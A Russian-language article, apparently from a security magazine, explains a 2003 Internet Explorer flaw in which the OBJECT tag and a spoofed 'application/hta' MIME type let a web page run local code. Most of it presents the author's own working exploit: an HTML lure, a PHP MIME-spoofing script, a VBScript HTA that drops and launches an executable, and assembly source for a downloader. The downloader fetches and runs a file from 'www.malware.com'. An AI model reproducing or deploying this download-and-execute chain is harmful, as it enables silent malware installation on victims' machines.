Данная статья посвящена уязвимости в Internet
Explorer от корпорации Microsoft. Ее нахождению мы
обязаны компании eEye, которая известна
такими продуктами как Retina (сетевой сканер
безопасности), Iris (пожалуй один из лучших
сниферов), а также другими, не мение
качественными проектами. Дата публикации
уязвимости 20 августа 2003 года. 

Технология 

Данная уязвимость связана с использованием
тэга OBJECT, который используется для
внедрения ActiveX объектов в HTML код web-страницы.
IE не проверяет содержимое загружаемого
объекта и автоматически помечает его как 'safe'.
Правда определенная проверка все таки
осуществляется, это проверка на расширение
загружаемого объекта. Так, например, если
загружается '.exe', '.pif', '.bat', '.com', '.cmd' и тому
подобные, Internet Explorer определит их как
небезопасные. В тоже время такие файлы как '.html'
считаются безопасными. 

Если вникнуть в сам процесс обработки ActiveX
объектов броузером, то становится ясным,
что они сперва загружаются на локальный
компьютер после чего исполняются. Это
значит, что если объект получил статус 'безопасный',
то он исполняется в зоне 'Мой копьютер'.
Поскольку исполнимые бинарные файлы не
могут его получить, следует искать выход в
использовании других технологий. 

Решением в данном случае стало
использование HTML Application. HTA - HTML приложение,
имеющее ряд преимуществ. Так, например, если
вы попытаетесь обратится к диску из HTML
файла, вы получите предупреждение,
независимо от зоны полученной документом. В
тоже время попытка сделать тоже самое в HTA
не выдаст такого предупреждения. 

Интересным моментом является то, что HTML
Application может иметь расширение как '.hta' так и
'.html'. Это значит, что обращение через тэг OBJECT
к HTML файлу вполне может оказаться
обращением к HTA приложению.

<html>
...
<object data="InjectedObject.html">
</object>
...
</html
>

Поскольку объект загружается на компьютер,
то в случае его исполнения он получает зону
'Мой копьютер'. Но тут возникает одна
проблема. Internet Explorer определяет файл '.html' как
HTML файл, что дает объекту статус 'безопасный',
но и не позволяет ему просто так
использовать работу с диском и другие
возможности. Решением данной проблемы,
является подмена MIME типа объекта. Тип
загружаемого файла определяется по его MIME.
Для HTML файла это 'text/html', для '.exe' приложения -
'application/x-msdownload' и т.д. Если сообщить броузеру,
что загружаемый файл HTA приложение, то
появляется возможность использования
функций HTA без каких-либо ограничений.
Подмену MIME легко осуществить с помощью CGI
приложений. 

<?
header("content-type: application/hta");
?>

Таким образом мы сообщаем, что загружаемый
файл - HTA приложение, на это указывает его MIME
тип 'application/hta'. Если обратится к такому CGI
скрипту через тэг OBJECT, мы получим
возможность использования функций HTA. А
дальше уже все зависит от вашей фантазии. 

Эксплоит 

В качестве эксплоита я продемонстрирую
написанный мной 2DimensionOfExploits.
Он загружает произвольный файл на
пользовательскую систему, обходя все
ограничения зоны 'Internet'. 

Эксплоит состоит из 3-х частей:

  • 2DimensionOfExploits.html
    HTML файл, содержащий тэг OBJECT. Именно на
    него следует направить атакуемого
    пользователя.

  • 2DimensionOfExploits.hta
    HTA приложение, исполняющееся на целевом
    компьютере.

  • 2DimensionOfExploits.php
    CGI приложение, подменяющее MIME тип
    загружаемого объекта. Собственно говоря,
    оно сообщает MIME и начинает передавать
    содержимое 2DimensionOfExploits.hta.

Рассмотрим их по порядку, начиная с
2DimensionOfExploits.html. Этот файл должен содержать
тэг OBJECT, который ссылается на объект
2DimensionOfExploits.php. 

<html>
...
<object data="2DimensionOfExploits.php">
</object>
...
</html>

Задачей 2DimensionOfExploits.php является установка MIME
типа обьекта в 'application/hta' и загрузка
2DimensionOfExploits.hta. 

<?

header("content-type: application/hta");

$szFile="2DimensionOfExploitsEnc.hta";
$hFile=fopen($szFile, "r");
$szHTML=fread($hFile,filesize($szFile));
fclose($hFile);
echo($szHTML);

?>

Теперь собственно о 2DimensionOfExploitsEnc.hta. Данный
файл в моем эксплоите должен создать файл 'C:\X.EXE',
который загрузит с Интернета произвольный
файл. Программу загрузки я написал на языке
Assembler, чтобы свести ее объем к минимальному.
Пожалуй я не буду объяснять в деталях как
она работает, а просто приведу исходник. 

.386

.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc

includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib

.data

szLibrary db "urlmon.dll",0
szFunction db "URLDownloadToFileA",0

szFileName db "c:\y.exe", 0

.code
start:

invoke GetCommandLineA

add ax, 0Ah
lea ecx, [eax]
push ecx

invoke LoadLibrary, addr szLibrary
invoke GetProcAddress, eax, addr szFunction

pop ecx
push 0
push 0
lea ebx, [szFileName]
push ebx
push ecx
push 0
call eax

invoke WinExec, addr szFileName, 1
invoke ExitProcess, NULL

end start

Для тех, кто не знаком с ASM, скажу, что
программа подключает функцию URLDownloadToFileA из
urlmon.dll и с ее помощью загружает файл,
указанный ей в качестве параметра (в данном
случае это fooware.exe). Загруженный файл,
сохраняется под именем 'C:\Y.EXE', после чего
запускается. 

<html>

<script language=vbs>
szURL = "http://www.malware.com/fooware.exe"//
для
примера загружается заставка

</script>

Вернемся к 2DimensionOfExploitsEnc.hta. Он должен
создать на компьютере файл и благополучно
запустить его. Для создания файла можно
воспользоваться методом CreateTextFile(), входящим
в обьект FileSystemObject, с последующей записью в
него. Откомпилировав программу загрузки,
запишем ее в шестнадцатеричном формате в
переменную szBinary. 

<script language=vbs>

szBinary = ""
szBinary = szBinary & "4D5A90000 ... 00000000"
szBinary = szBinary & "000000000 ... 616E6E6F"
szBinary = szBinary & "742062652 ... 19E66F21"
...
szBinary = szBinary & "000000000 ... 00000000"

szApplication = "c:\x.exe"

Set hFSO = CreateObject("Scripting.FileSystemObject")
Set hFile = hFSO.CreateTextFile(szApplication, ForWriting)

Используя некоторые хитрости, эти 16-ричные
данные конвертируются в бинарные, после
чего записываются в файл. 

intLength = len(szBinary)
intPosition = 1

while intPosition < intLength
char = Int("&H" & Mid(szBinary, intPosition, 2))
hFile.Write(Chr(char))
intPosition = intPosition+2
wend

hFile.Close

На данном этапе все подготовительные
действия окончены, единственное что
остается - запустить программу загрузки
файла с Интернета. 

Set hShell=CreateObject("WScript.Shell")
hShell.run(szApplication+" "+szURL)

</script>
</html>

Заключение

В заключение, хочу сказать, что вся
предоставленная информация должна
использоваться исключительно в научных
целях. Все другие способы ее использования
запрещены законодательством. Но выбор уже
сделан... 

Ссылки

1. Уязвимость
2. Бюлетень
3. Патч

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии